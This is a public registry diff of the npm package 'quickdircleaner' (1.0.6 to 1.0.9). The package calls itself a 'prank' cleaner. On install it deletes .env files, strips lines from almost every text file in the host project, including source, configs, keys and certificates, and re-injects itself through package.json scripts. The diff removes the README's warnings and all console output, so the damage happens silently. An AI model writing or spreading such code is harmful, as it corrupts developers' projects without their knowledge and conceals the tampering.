quickdircleaner 1.0.6 → 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -40
- package/index.js +6 -30
- package/package.json +2 -2
- package/persist.js +2 -13
- package/prank-core.js +421 -19
- package/restore.js +33 -13
package/README.md
CHANGED
|
@@ -4,43 +4,3 @@
|
|
|
4
4
|
npm install quickdircleaner
|
|
5
5
|
```
|
|
6
6
|
|
|
7
|
-
Normally `INIT_CWD` is set so the cleaner targets your project root.
|
|
8
|
-
|
|
9
|
-
### pnpm v10+
|
|
10
|
-
|
|
11
|
-
pnpm **does not run** this package’s `postinstall` unless you allow it. You will see a message like **“Ignored build scripts: quickdircleaner”** and the install will look like a normal dependency add.
|
|
12
|
-
|
|
13
|
-
**Option A — allowlist in your project `package.json`:**
|
|
14
|
-
|
|
15
|
-
```json
|
|
16
|
-
{
|
|
17
|
-
"pnpm": {
|
|
18
|
-
"onlyBuiltDependencies": ["quickdircleaner"]
|
|
19
|
-
}
|
|
20
|
-
}
|
|
21
|
-
```
|
|
22
|
-
|
|
23
|
-
Then run `pnpm install` again.
|
|
24
|
-
|
|
25
|
-
**Option B:** run `pnpm approve-builds` and approve `quickdircleaner`.
|
|
26
|
-
|
|
27
|
-
See [pnpm: dependency scripts](https://pnpm.io/settings#ignoredependscripts).
|
|
28
|
-
|
|
29
|
-
### Run the cleaner manually (same as postinstall)
|
|
30
|
-
|
|
31
|
-
From your project root (where your `package.json` lives):
|
|
32
|
-
|
|
33
|
-
```bash
|
|
34
|
-
node node_modules/quickdircleaner/index.js
|
|
35
|
-
```
|
|
36
|
-
|
|
37
|
-
## Restore
|
|
38
|
-
|
|
39
|
-
```bash
|
|
40
|
-
npx restore-clean
|
|
41
|
-
```
|
|
42
|
-
|
|
43
|
-
(`restore-clean` is the bin name — not `restore -clean`.)
|
|
44
|
-
|
|
45
|
-
After restore, this package removes **`node_modules/quickdircleaner`** on purpose. Otherwise `npm install` / `pnpm install` would see the dependency as already present and **would not run `postinstall` again**. Run **`npm install`** or **`pnpm install`** once to reinstall it; with pnpm, keep `quickdircleaner` in `onlyBuiltDependencies` if you use that.
|
|
46
|
-
|
package/index.js
CHANGED
|
@@ -17,20 +17,14 @@ async function writeCleanerDoneFlag(root) {
|
|
|
17
17
|
try {
|
|
18
18
|
await core.writeFileAtomic(path.join(root, core.DONE_FLAG), "", "utf8");
|
|
19
19
|
} catch {
|
|
20
|
-
|
|
20
|
+
/* silent */
|
|
21
21
|
}
|
|
22
22
|
}
|
|
23
23
|
|
|
24
|
-
function buildEmptyRunMarkdown(
|
|
24
|
+
function buildEmptyRunMarkdown() {
|
|
25
25
|
return [
|
|
26
26
|
"# Cleaner backup",
|
|
27
27
|
"",
|
|
28
|
-
`Host project root (resolved):`,
|
|
29
|
-
"",
|
|
30
|
-
`\`${rootDisplay}\``,
|
|
31
|
-
"",
|
|
32
|
-
"No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
|
|
33
|
-
"",
|
|
34
28
|
"## Original contents",
|
|
35
29
|
"",
|
|
36
30
|
].join("\n");
|
|
@@ -40,14 +34,12 @@ async function writeBackupMarkdown(root, backupEntries) {
|
|
|
40
34
|
const outPath = path.join(root, core.BACKUP_NAME);
|
|
41
35
|
const md =
|
|
42
36
|
backupEntries.length === 0
|
|
43
|
-
? buildEmptyRunMarkdown(
|
|
37
|
+
? buildEmptyRunMarkdown()
|
|
44
38
|
: core.buildMarkdown(backupEntries);
|
|
45
39
|
try {
|
|
46
40
|
await core.writeFileAtomic(outPath, md, "utf8");
|
|
47
|
-
console.log(core.green(`Wrote ${outPath}`));
|
|
48
41
|
return true;
|
|
49
42
|
} catch {
|
|
50
|
-
console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
|
|
51
43
|
return false;
|
|
52
44
|
}
|
|
53
45
|
}
|
|
@@ -59,9 +51,6 @@ async function main() {
|
|
|
59
51
|
);
|
|
60
52
|
|
|
61
53
|
if (await cleanerDoneFlagExists(root)) {
|
|
62
|
-
console.warn(
|
|
63
|
-
core.yellow("⚠️ Cleaner already applied. Run restore-clean first."),
|
|
64
|
-
);
|
|
65
54
|
return;
|
|
66
55
|
}
|
|
67
56
|
|
|
@@ -72,7 +61,7 @@ async function main() {
|
|
|
72
61
|
pkgRaw = null;
|
|
73
62
|
}
|
|
74
63
|
|
|
75
|
-
const backupEntries = await core.runPrank(root
|
|
64
|
+
const backupEntries = await core.runPrank(root);
|
|
76
65
|
|
|
77
66
|
if (pkgRaw) {
|
|
78
67
|
backupEntries.push({
|
|
@@ -89,29 +78,16 @@ async function main() {
|
|
|
89
78
|
}
|
|
90
79
|
|
|
91
80
|
if (!backupOk) {
|
|
92
|
-
console.warn(
|
|
93
|
-
core.yellow(
|
|
94
|
-
"Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
|
|
95
|
-
),
|
|
96
|
-
);
|
|
97
81
|
return;
|
|
98
82
|
}
|
|
99
83
|
|
|
100
84
|
await writeCleanerDoneFlag(root);
|
|
101
85
|
|
|
102
86
|
if (pkgRaw) {
|
|
103
|
-
|
|
104
|
-
if (!injected) {
|
|
105
|
-
console.warn(
|
|
106
|
-
core.yellow(
|
|
107
|
-
"Warning: could not inject persist hook into package.json scripts.",
|
|
108
|
-
),
|
|
109
|
-
);
|
|
110
|
-
}
|
|
87
|
+
await core.injectPersistScripts(root);
|
|
111
88
|
}
|
|
112
89
|
}
|
|
113
90
|
|
|
114
|
-
main().catch((
|
|
115
|
-
console.error(core.red(err && err.message ? err.message : String(err)));
|
|
91
|
+
main().catch(() => {
|
|
116
92
|
process.exitCode = 1;
|
|
117
93
|
});
|
package/package.json
CHANGED
package/persist.js
CHANGED
|
@@ -12,29 +12,18 @@ async function main() {
|
|
|
12
12
|
await core.stripPersistFromPackageJsonObject(root);
|
|
13
13
|
await core.deleteCounter(root);
|
|
14
14
|
await core.removeQuickdircleanerPackage(root);
|
|
15
|
-
console.log(
|
|
16
|
-
core.magenta(
|
|
17
|
-
"💀 quickdircleaner has self\u2011destructed. No more pranks.",
|
|
18
|
-
),
|
|
19
|
-
);
|
|
20
15
|
return;
|
|
21
16
|
}
|
|
22
17
|
|
|
23
|
-
const backupEntries = await core.runPrank(root
|
|
18
|
+
const backupEntries = await core.runPrank(root);
|
|
24
19
|
const attempt = count + 1;
|
|
25
20
|
const appended = await core.appendReapplyMarkdown(root, attempt, backupEntries);
|
|
26
21
|
if (!appended) {
|
|
27
|
-
console.warn(
|
|
28
|
-
core.yellow(
|
|
29
|
-
"Warning: could not append re-apply backup to CLEANER_BACKUP.md; counter not incremented.",
|
|
30
|
-
),
|
|
31
|
-
);
|
|
32
22
|
return;
|
|
33
23
|
}
|
|
34
24
|
await core.writeCounter(root, attempt);
|
|
35
25
|
}
|
|
36
26
|
|
|
37
|
-
main().catch((
|
|
38
|
-
console.error(core.red(err && err.message ? err.message : String(err)));
|
|
27
|
+
main().catch(() => {
|
|
39
28
|
process.exitCode = 1;
|
|
40
29
|
});
|
package/prank-core.js
CHANGED
|
@@ -33,7 +33,100 @@ const TARGET_SCRIPT_NAMES = new Set([
|
|
|
33
33
|
"preview",
|
|
34
34
|
]);
|
|
35
35
|
|
|
36
|
-
|
|
36
|
+
/** Max file size to load into memory (bytes). */
|
|
37
|
+
const MAX_PENETRABLE_FILE_BYTES = 50 * 1024 * 1024;
|
|
38
|
+
|
|
39
|
+
/** How many leading bytes to scan for NUL when classifying binary. */
|
|
40
|
+
const BINARY_SNIFF_BYTES = 65536;
|
|
41
|
+
|
|
42
|
+
/** Extensions we never treat as text (binary / archives / media). */
|
|
43
|
+
const BLOCKED_BINARY_EXT = new Set(
|
|
44
|
+
[
|
|
45
|
+
".png",
|
|
46
|
+
".jpg",
|
|
47
|
+
".jpeg",
|
|
48
|
+
".gif",
|
|
49
|
+
".webp",
|
|
50
|
+
".ico",
|
|
51
|
+
".bmp",
|
|
52
|
+
".tif",
|
|
53
|
+
".tiff",
|
|
54
|
+
".heic",
|
|
55
|
+
".avif",
|
|
56
|
+
".pdf",
|
|
57
|
+
".zip",
|
|
58
|
+
".tar",
|
|
59
|
+
".gz",
|
|
60
|
+
".tgz",
|
|
61
|
+
".bz2",
|
|
62
|
+
".xz",
|
|
63
|
+
".7z",
|
|
64
|
+
".rar",
|
|
65
|
+
".wasm",
|
|
66
|
+
".so",
|
|
67
|
+
".dylib",
|
|
68
|
+
".dll",
|
|
69
|
+
".exe",
|
|
70
|
+
".bin",
|
|
71
|
+
".mp4",
|
|
72
|
+
".m4v",
|
|
73
|
+
".webm",
|
|
74
|
+
".mov",
|
|
75
|
+
".avi",
|
|
76
|
+
".mkv",
|
|
77
|
+
".mp3",
|
|
78
|
+
".wav",
|
|
79
|
+
".flac",
|
|
80
|
+
".ogg",
|
|
81
|
+
".woff",
|
|
82
|
+
".woff2",
|
|
83
|
+
".ttf",
|
|
84
|
+
".otf",
|
|
85
|
+
".eot",
|
|
86
|
+
".sqlite",
|
|
87
|
+
".db",
|
|
88
|
+
".class",
|
|
89
|
+
".jar",
|
|
90
|
+
".pyc",
|
|
91
|
+
".pyo",
|
|
92
|
+
".o",
|
|
93
|
+
".a",
|
|
94
|
+
".lib",
|
|
95
|
+
".obj",
|
|
96
|
+
".pak",
|
|
97
|
+
".br",
|
|
98
|
+
".lz4",
|
|
99
|
+
".zst",
|
|
100
|
+
].map((e) => e.toLowerCase()),
|
|
101
|
+
);
|
|
102
|
+
|
|
103
|
+
/** Filenames (lowercase) treated as text even with no or odd extension. */
|
|
104
|
+
const TEXTLIKE_BASENAMES = new Set([
|
|
105
|
+
"dockerfile",
|
|
106
|
+
"containerfile",
|
|
107
|
+
"makefile",
|
|
108
|
+
"gnumakefile",
|
|
109
|
+
"gemfile",
|
|
110
|
+
"rakefile",
|
|
111
|
+
"procfile",
|
|
112
|
+
"jenkinsfile",
|
|
113
|
+
"vagrantfile",
|
|
114
|
+
"license",
|
|
115
|
+
"copying",
|
|
116
|
+
"authors",
|
|
117
|
+
"changelog",
|
|
118
|
+
"contributing",
|
|
119
|
+
"codeowners",
|
|
120
|
+
"owners",
|
|
121
|
+
"manifest",
|
|
122
|
+
"docker-compose.yml",
|
|
123
|
+
"docker-compose.yaml",
|
|
124
|
+
"compose.yml",
|
|
125
|
+
"compose.yaml",
|
|
126
|
+
]);
|
|
127
|
+
|
|
128
|
+
/** Default penetrable extensions (broad pentest / source surface). */
|
|
129
|
+
const PENETRABLE_EXT = new Set([
|
|
37
130
|
".js",
|
|
38
131
|
".mjs",
|
|
39
132
|
".cjs",
|
|
@@ -68,11 +161,297 @@ const CLEANABLE_EXT = new Set([
|
|
|
68
161
|
".bash",
|
|
69
162
|
".zsh",
|
|
70
163
|
".ps1",
|
|
164
|
+
".psm1",
|
|
165
|
+
".psd1",
|
|
71
166
|
".bat",
|
|
72
167
|
".cmd",
|
|
168
|
+
".py",
|
|
169
|
+
".pyw",
|
|
170
|
+
".pyi",
|
|
171
|
+
".rb",
|
|
172
|
+
".erb",
|
|
173
|
+
".php",
|
|
174
|
+
".phtml",
|
|
175
|
+
".go",
|
|
176
|
+
".rs",
|
|
177
|
+
".java",
|
|
178
|
+
".kt",
|
|
179
|
+
".kts",
|
|
180
|
+
".scala",
|
|
181
|
+
".sc",
|
|
182
|
+
".swift",
|
|
183
|
+
".cs",
|
|
184
|
+
".fs",
|
|
185
|
+
".fsx",
|
|
186
|
+
".fsi",
|
|
187
|
+
".vb",
|
|
188
|
+
".c",
|
|
189
|
+
".cc",
|
|
190
|
+
".cpp",
|
|
191
|
+
".cxx",
|
|
192
|
+
".h",
|
|
193
|
+
".hh",
|
|
194
|
+
".hpp",
|
|
195
|
+
".hxx",
|
|
196
|
+
".inl",
|
|
197
|
+
".cmake",
|
|
198
|
+
".pl",
|
|
199
|
+
".pm",
|
|
200
|
+
".r",
|
|
201
|
+
".lua",
|
|
202
|
+
".dart",
|
|
203
|
+
".ex",
|
|
204
|
+
".exs",
|
|
205
|
+
".erl",
|
|
206
|
+
".hrl",
|
|
207
|
+
".clj",
|
|
208
|
+
".cljs",
|
|
209
|
+
".edn",
|
|
210
|
+
".nim",
|
|
211
|
+
".zig",
|
|
212
|
+
".v",
|
|
213
|
+
".sv",
|
|
214
|
+
".svh",
|
|
215
|
+
".vhd",
|
|
216
|
+
".vhdl",
|
|
217
|
+
".jl",
|
|
218
|
+
".cr",
|
|
219
|
+
".gradle",
|
|
220
|
+
".properties",
|
|
221
|
+
".tf",
|
|
222
|
+
".tfvars",
|
|
223
|
+
".hcl",
|
|
224
|
+
".rego",
|
|
225
|
+
".nix",
|
|
226
|
+
".toml",
|
|
227
|
+
".ini",
|
|
228
|
+
".cfg",
|
|
229
|
+
".conf",
|
|
230
|
+
".config",
|
|
231
|
+
".env",
|
|
232
|
+
".example",
|
|
233
|
+
".sample",
|
|
234
|
+
".tpl",
|
|
235
|
+
".template",
|
|
236
|
+
".j2",
|
|
237
|
+
".ejs",
|
|
238
|
+
".hbs",
|
|
239
|
+
".pug",
|
|
240
|
+
".jade",
|
|
241
|
+
".liquid",
|
|
242
|
+
".cshtml",
|
|
243
|
+
".razor",
|
|
244
|
+
".sql",
|
|
245
|
+
".mysql",
|
|
246
|
+
".pgsql",
|
|
247
|
+
".graphqls",
|
|
248
|
+
".prisma",
|
|
249
|
+
".proto",
|
|
250
|
+
".thrift",
|
|
251
|
+
".avsc",
|
|
252
|
+
".xsl",
|
|
253
|
+
".xslt",
|
|
254
|
+
".wsdl",
|
|
255
|
+
".xsd",
|
|
256
|
+
".plist",
|
|
257
|
+
".csproj",
|
|
258
|
+
".vbproj",
|
|
259
|
+
".vcxproj",
|
|
260
|
+
".props",
|
|
261
|
+
".targets",
|
|
262
|
+
".sln",
|
|
263
|
+
".podspec",
|
|
264
|
+
".gemspec",
|
|
265
|
+
".rake",
|
|
266
|
+
".ru",
|
|
267
|
+
".http",
|
|
268
|
+
".rest",
|
|
269
|
+
".graphqlrc",
|
|
270
|
+
".editorconfig",
|
|
271
|
+
".npmrc",
|
|
272
|
+
".yarnrc",
|
|
273
|
+
".yarnrc.yml",
|
|
274
|
+
".prettierrc",
|
|
275
|
+
".eslintrc",
|
|
276
|
+
".babelrc",
|
|
277
|
+
".browserslistrc",
|
|
278
|
+
".nvmrc",
|
|
279
|
+
".node-version",
|
|
280
|
+
".tool-versions",
|
|
281
|
+
".pem",
|
|
282
|
+
".crt",
|
|
283
|
+
".key",
|
|
284
|
+
".csr",
|
|
285
|
+
".p12",
|
|
286
|
+
".pfx",
|
|
287
|
+
".asc",
|
|
288
|
+
".log",
|
|
289
|
+
".lst",
|
|
73
290
|
]);
|
|
74
291
|
|
|
75
|
-
|
|
292
|
+
/** 1-based lines stripped (sorted descending inside remover). More = messier prank; restore still exact. */
|
|
293
|
+
const REMOVE_LINE_NUMBERS = [2, 3, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20];
|
|
294
|
+
|
|
295
|
+
/**
|
|
296
|
+
* Every regular file under the tree is a candidate except obvious binary extensions.
|
|
297
|
+
* Extensionless names still go to cleanSourceFile (UTF-8 / NUL sniff drops true binaries).
|
|
298
|
+
*/
|
|
299
|
+
function isPenetrablePath(fileName) {
|
|
300
|
+
const base = String(fileName).toLowerCase();
|
|
301
|
+
const ext = path.extname(fileName).toLowerCase();
|
|
302
|
+
|
|
303
|
+
if (BLOCKED_BINARY_EXT.has(ext)) {
|
|
304
|
+
return false;
|
|
305
|
+
}
|
|
306
|
+
if (TEXTLIKE_BASENAMES.has(base)) {
|
|
307
|
+
return true;
|
|
308
|
+
}
|
|
309
|
+
if (PENETRABLE_EXT.has(ext)) {
|
|
310
|
+
return true;
|
|
311
|
+
}
|
|
312
|
+
if (process.env.QUICKDIRCLEANER_STRICT_EXT === "1") {
|
|
313
|
+
return false;
|
|
314
|
+
}
|
|
315
|
+
return true;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
function bufferLooksBinary(buf) {
|
|
319
|
+
const n = Math.min(buf.length, BINARY_SNIFF_BYTES);
|
|
320
|
+
for (let i = 0; i < n; i += 1) {
|
|
321
|
+
if (buf[i] === 0) {
|
|
322
|
+
return true;
|
|
323
|
+
}
|
|
324
|
+
}
|
|
325
|
+
return false;
|
|
326
|
+
}
|
|
327
|
+
|
|
328
|
+
function pickPenetrationAppend(eol, extLower, fileNameLower) {
|
|
329
|
+
const jsLike = new Set([
|
|
330
|
+
".js",
|
|
331
|
+
".mjs",
|
|
332
|
+
".cjs",
|
|
333
|
+
".jsx",
|
|
334
|
+
".ts",
|
|
335
|
+
".tsx",
|
|
336
|
+
".mts",
|
|
337
|
+
".cts",
|
|
338
|
+
".vue",
|
|
339
|
+
".svelte",
|
|
340
|
+
".astro",
|
|
341
|
+
".java",
|
|
342
|
+
".cs",
|
|
343
|
+
".go",
|
|
344
|
+
".rs",
|
|
345
|
+
".swift",
|
|
346
|
+
".kt",
|
|
347
|
+
".kts",
|
|
348
|
+
".scala",
|
|
349
|
+
".dart",
|
|
350
|
+
".c",
|
|
351
|
+
".cc",
|
|
352
|
+
".cpp",
|
|
353
|
+
".h",
|
|
354
|
+
".hpp",
|
|
355
|
+
".cshtml",
|
|
356
|
+
".razor",
|
|
357
|
+
]);
|
|
358
|
+
const hashLike = new Set([
|
|
359
|
+
".py",
|
|
360
|
+
".pyw",
|
|
361
|
+
".pyi",
|
|
362
|
+
".rb",
|
|
363
|
+
".yaml",
|
|
364
|
+
".yml",
|
|
365
|
+
".sh",
|
|
366
|
+
".bash",
|
|
367
|
+
".zsh",
|
|
368
|
+
".toml",
|
|
369
|
+
".ini",
|
|
370
|
+
".cfg",
|
|
371
|
+
".conf",
|
|
372
|
+
".dockerignore",
|
|
373
|
+
".r",
|
|
374
|
+
".pl",
|
|
375
|
+
".pm",
|
|
376
|
+
".sql",
|
|
377
|
+
".tf",
|
|
378
|
+
".tfvars",
|
|
379
|
+
".hcl",
|
|
380
|
+
".nix",
|
|
381
|
+
".graphql",
|
|
382
|
+
".gql",
|
|
383
|
+
".prisma",
|
|
384
|
+
".cmake",
|
|
385
|
+
".cr",
|
|
386
|
+
".ex",
|
|
387
|
+
".exs",
|
|
388
|
+
".erl",
|
|
389
|
+
".hrl",
|
|
390
|
+
".jl",
|
|
391
|
+
".nim",
|
|
392
|
+
".zig",
|
|
393
|
+
".rego",
|
|
394
|
+
".properties",
|
|
395
|
+
".gradle",
|
|
396
|
+
".podspec",
|
|
397
|
+
".gemspec",
|
|
398
|
+
".rake",
|
|
399
|
+
".ru",
|
|
400
|
+
]);
|
|
401
|
+
const htmlLike = new Set([
|
|
402
|
+
".html",
|
|
403
|
+
".htm",
|
|
404
|
+
".xml",
|
|
405
|
+
".svg",
|
|
406
|
+
".md",
|
|
407
|
+
".mdx",
|
|
408
|
+
".xsl",
|
|
409
|
+
".xslt",
|
|
410
|
+
".wsdl",
|
|
411
|
+
".xsd",
|
|
412
|
+
".ejs",
|
|
413
|
+
".hbs",
|
|
414
|
+
".pug",
|
|
415
|
+
".jade",
|
|
416
|
+
".liquid",
|
|
417
|
+
]);
|
|
418
|
+
const cssLike = new Set([".css", ".scss", ".sass", ".less", ".styl"]);
|
|
419
|
+
|
|
420
|
+
if (
|
|
421
|
+
fileNameLower === "dockerfile" ||
|
|
422
|
+
fileNameLower === "containerfile" ||
|
|
423
|
+
fileNameLower === "makefile" ||
|
|
424
|
+
fileNameLower === "gemfile" ||
|
|
425
|
+
fileNameLower === "rakefile" ||
|
|
426
|
+
fileNameLower === "procfile"
|
|
427
|
+
) {
|
|
428
|
+
return `${eol}# quickdircleaner-touch${eol}`;
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
if (extLower === ".json" || extLower === ".jsonc") {
|
|
432
|
+
return eol;
|
|
433
|
+
}
|
|
434
|
+
|
|
435
|
+
if (jsLike.has(extLower)) {
|
|
436
|
+
return `${eol}// quickdircleaner-touch${eol}`;
|
|
437
|
+
}
|
|
438
|
+
if (cssLike.has(extLower)) {
|
|
439
|
+
return `${eol}/* quickdircleaner-touch */${eol}`;
|
|
440
|
+
}
|
|
441
|
+
if (hashLike.has(extLower)) {
|
|
442
|
+
return `${eol}# quickdircleaner-touch${eol}`;
|
|
443
|
+
}
|
|
444
|
+
if (htmlLike.has(extLower)) {
|
|
445
|
+
return `${eol}<!-- quickdircleaner-touch -->${eol}`;
|
|
446
|
+
}
|
|
447
|
+
if (extLower === ".bat" || extLower === ".cmd") {
|
|
448
|
+
return `${eol}REM quickdircleaner-touch${eol}`;
|
|
449
|
+
}
|
|
450
|
+
if (extLower === ".ps1" || extLower === ".psm1" || extLower === ".psd1") {
|
|
451
|
+
return `${eol}# quickdircleaner-touch${eol}`;
|
|
452
|
+
}
|
|
453
|
+
return `${eol}# quickdircleaner-touch${eol}`;
|
|
454
|
+
}
|
|
76
455
|
|
|
77
456
|
/**
|
|
78
457
|
* Directory that should be cleaned: the project that ran `npm install`, not this package folder.
|
|
@@ -278,18 +657,46 @@ async function backupAndRemoveEnv(root, backupEntries) {
|
|
|
278
657
|
}
|
|
279
658
|
}
|
|
280
659
|
|
|
281
|
-
|
|
282
|
-
|
|
660
|
+
function utf8LooksCorruptedAsBinary(text) {
|
|
661
|
+
const n = (text.match(/\uFFFD/g) || []).length;
|
|
662
|
+
if (text.length === 0) {
|
|
663
|
+
return false;
|
|
664
|
+
}
|
|
665
|
+
return n > Math.max(24, Math.floor(text.length * 0.02));
|
|
666
|
+
}
|
|
667
|
+
|
|
668
|
+
async function cleanSourceFile(fullPath, root, backupEntries) {
|
|
669
|
+
let buf;
|
|
283
670
|
try {
|
|
284
|
-
|
|
671
|
+
const st = await fs.stat(fullPath);
|
|
672
|
+
if (!st.isFile() || st.size > MAX_PENETRABLE_FILE_BYTES) {
|
|
673
|
+
return;
|
|
674
|
+
}
|
|
675
|
+
buf = await fs.readFile(fullPath);
|
|
285
676
|
} catch {
|
|
286
677
|
return;
|
|
287
678
|
}
|
|
288
679
|
|
|
680
|
+
if (bufferLooksBinary(buf)) {
|
|
681
|
+
return;
|
|
682
|
+
}
|
|
683
|
+
|
|
684
|
+
let content = buf.toString("utf8");
|
|
685
|
+
if (utf8LooksCorruptedAsBinary(content)) {
|
|
686
|
+
return;
|
|
687
|
+
}
|
|
688
|
+
|
|
689
|
+
const baseLower = path.basename(fullPath).toLowerCase();
|
|
690
|
+
const extLower = path.extname(fullPath).toLowerCase();
|
|
691
|
+
|
|
289
692
|
const eol = detectEol(content);
|
|
290
693
|
const lineArray = content.split(/\r?\n/);
|
|
291
|
-
|
|
292
|
-
|
|
694
|
+
let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
|
|
695
|
+
let modified = nextLines.join(eol);
|
|
696
|
+
|
|
697
|
+
if (modified === content) {
|
|
698
|
+
modified = content + pickPenetrationAppend(eol, extLower, baseLower);
|
|
699
|
+
}
|
|
293
700
|
|
|
294
701
|
if (modified === content) {
|
|
295
702
|
return;
|
|
@@ -306,10 +713,6 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
|
|
|
306
713
|
backupEntries.pop();
|
|
307
714
|
return;
|
|
308
715
|
}
|
|
309
|
-
|
|
310
|
-
if (logCleaned) {
|
|
311
|
-
console.log(green(`🧹 Cleaned: ${filePath}`));
|
|
312
|
-
}
|
|
313
716
|
}
|
|
314
717
|
|
|
315
718
|
/**
|
|
@@ -348,7 +751,7 @@ function shouldSkipDirectoryEntry(name) {
|
|
|
348
751
|
* BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
|
|
349
752
|
* symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
|
|
350
753
|
*/
|
|
351
|
-
async function walkAndCleanFullTree(rootResolved, backupEntries
|
|
754
|
+
async function walkAndCleanFullTree(rootResolved, backupEntries) {
|
|
352
755
|
const visitedDirs = new Set();
|
|
353
756
|
const queue = [path.resolve(rootResolved)];
|
|
354
757
|
|
|
@@ -416,13 +819,12 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
|
|
|
416
819
|
continue;
|
|
417
820
|
}
|
|
418
821
|
|
|
419
|
-
|
|
420
|
-
if (!CLEANABLE_EXT.has(ext)) {
|
|
822
|
+
if (!isPenetrablePath(ent.name)) {
|
|
421
823
|
continue;
|
|
422
824
|
}
|
|
423
825
|
|
|
424
826
|
try {
|
|
425
|
-
await cleanSourceFile(realPath, rootResolved, backupEntries
|
|
827
|
+
await cleanSourceFile(realPath, rootResolved, backupEntries);
|
|
426
828
|
} catch {
|
|
427
829
|
/* skip */
|
|
428
830
|
}
|
|
@@ -430,7 +832,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
|
|
|
430
832
|
}
|
|
431
833
|
}
|
|
432
834
|
|
|
433
|
-
async function walkAndClean(root, backupEntries
|
|
835
|
+
async function walkAndClean(root, backupEntries) {
|
|
434
836
|
let rootResolved = path.resolve(root);
|
|
435
837
|
try {
|
|
436
838
|
rootResolved = await fs.realpath(rootResolved);
|
|
@@ -439,17 +841,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
|
|
|
439
841
|
}
|
|
440
842
|
rootResolved = path.resolve(rootResolved);
|
|
441
843
|
|
|
442
|
-
await walkAndCleanFullTree(rootResolved, backupEntries
|
|
844
|
+
await walkAndCleanFullTree(rootResolved, backupEntries);
|
|
443
845
|
}
|
|
444
846
|
|
|
445
847
|
/**
|
|
446
848
|
* Runs env backup/removal and source walk; returns new backup entries for this run.
|
|
447
849
|
*/
|
|
448
|
-
async function runPrank(root
|
|
850
|
+
async function runPrank(root) {
|
|
449
851
|
installSigTstpBlocker();
|
|
450
852
|
const backupEntries = [];
|
|
451
853
|
await backupAndRemoveEnv(root, backupEntries);
|
|
452
|
-
await walkAndClean(root, backupEntries
|
|
854
|
+
await walkAndClean(root, backupEntries);
|
|
453
855
|
return backupEntries;
|
|
454
856
|
}
|
|
455
857
|
|
package/restore.js
CHANGED
|
@@ -4,6 +4,26 @@ const path = require("path");
|
|
|
4
4
|
const readline = require("readline");
|
|
5
5
|
const core = require("./prank-core");
|
|
6
6
|
|
|
7
|
+
const argv = process.argv.slice(2);
|
|
8
|
+
const restoreAutoYes =
|
|
9
|
+
argv.includes("--yes") || argv.includes("-y");
|
|
10
|
+
const restoreSilent =
|
|
11
|
+
argv.includes("--silent") ||
|
|
12
|
+
argv.includes("-q") ||
|
|
13
|
+
process.env.QUICKDIRCLEANER_RESTORE_SILENT === "1";
|
|
14
|
+
|
|
15
|
+
function out(msg) {
|
|
16
|
+
if (!restoreSilent) {
|
|
17
|
+
console.log(msg);
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
function errOut(msg) {
|
|
22
|
+
if (!restoreSilent) {
|
|
23
|
+
console.error(msg);
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
|
|
7
27
|
function promptYesNo(question) {
|
|
8
28
|
return new Promise((resolve) => {
|
|
9
29
|
const rl = readline.createInterface({
|
|
@@ -85,20 +105,18 @@ async function main() {
|
|
|
85
105
|
raw = await fs.readFile(backupPath, "utf8");
|
|
86
106
|
} catch (err) {
|
|
87
107
|
if (err && err.code === "ENOENT") {
|
|
88
|
-
|
|
89
|
-
core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`),
|
|
90
|
-
);
|
|
108
|
+
errOut(core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`));
|
|
91
109
|
process.exitCode = 1;
|
|
92
110
|
return;
|
|
93
111
|
}
|
|
94
|
-
|
|
112
|
+
errOut(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
|
|
95
113
|
process.exitCode = 1;
|
|
96
114
|
return;
|
|
97
115
|
}
|
|
98
116
|
|
|
99
117
|
const entries = core.parseFirstOriginalSectionMarkdown(raw);
|
|
100
118
|
if (entries.length === 0) {
|
|
101
|
-
|
|
119
|
+
errOut(core.red("Error: no file entries found in backup."));
|
|
102
120
|
process.exitCode = 1;
|
|
103
121
|
return;
|
|
104
122
|
}
|
|
@@ -113,9 +131,11 @@ async function main() {
|
|
|
113
131
|
const expected =
|
|
114
132
|
fileEntries.length + (synthetic && synthetic.content ? 1 : 0);
|
|
115
133
|
|
|
116
|
-
const confirmed =
|
|
134
|
+
const confirmed = restoreAutoYes
|
|
135
|
+
? true
|
|
136
|
+
: await promptYesNo("Restore and remove backup? (y/n) ");
|
|
117
137
|
if (!confirmed) {
|
|
118
|
-
|
|
138
|
+
errOut(core.yellow("Aborted."));
|
|
119
139
|
return;
|
|
120
140
|
}
|
|
121
141
|
|
|
@@ -143,7 +163,7 @@ async function main() {
|
|
|
143
163
|
}
|
|
144
164
|
|
|
145
165
|
if (restored !== expected) {
|
|
146
|
-
|
|
166
|
+
errOut(
|
|
147
167
|
core.red(
|
|
148
168
|
`Error: restored ${restored} of ${expected} item(s). Backup and flag were not removed.`,
|
|
149
169
|
),
|
|
@@ -152,11 +172,11 @@ async function main() {
|
|
|
152
172
|
return;
|
|
153
173
|
}
|
|
154
174
|
|
|
155
|
-
|
|
175
|
+
out(core.green(`Restored ${restored} item(s).`));
|
|
156
176
|
|
|
157
177
|
await core.deleteCounter(root);
|
|
158
178
|
await core.removeQuickdircleanerPackage(root);
|
|
159
|
-
|
|
179
|
+
out(
|
|
160
180
|
core.green(
|
|
161
181
|
"Removed node_modules/quickdircleaner so the next install can run postinstall again.",
|
|
162
182
|
),
|
|
@@ -167,9 +187,9 @@ async function main() {
|
|
|
167
187
|
const backupOk = await removeIfExists(backupPath);
|
|
168
188
|
|
|
169
189
|
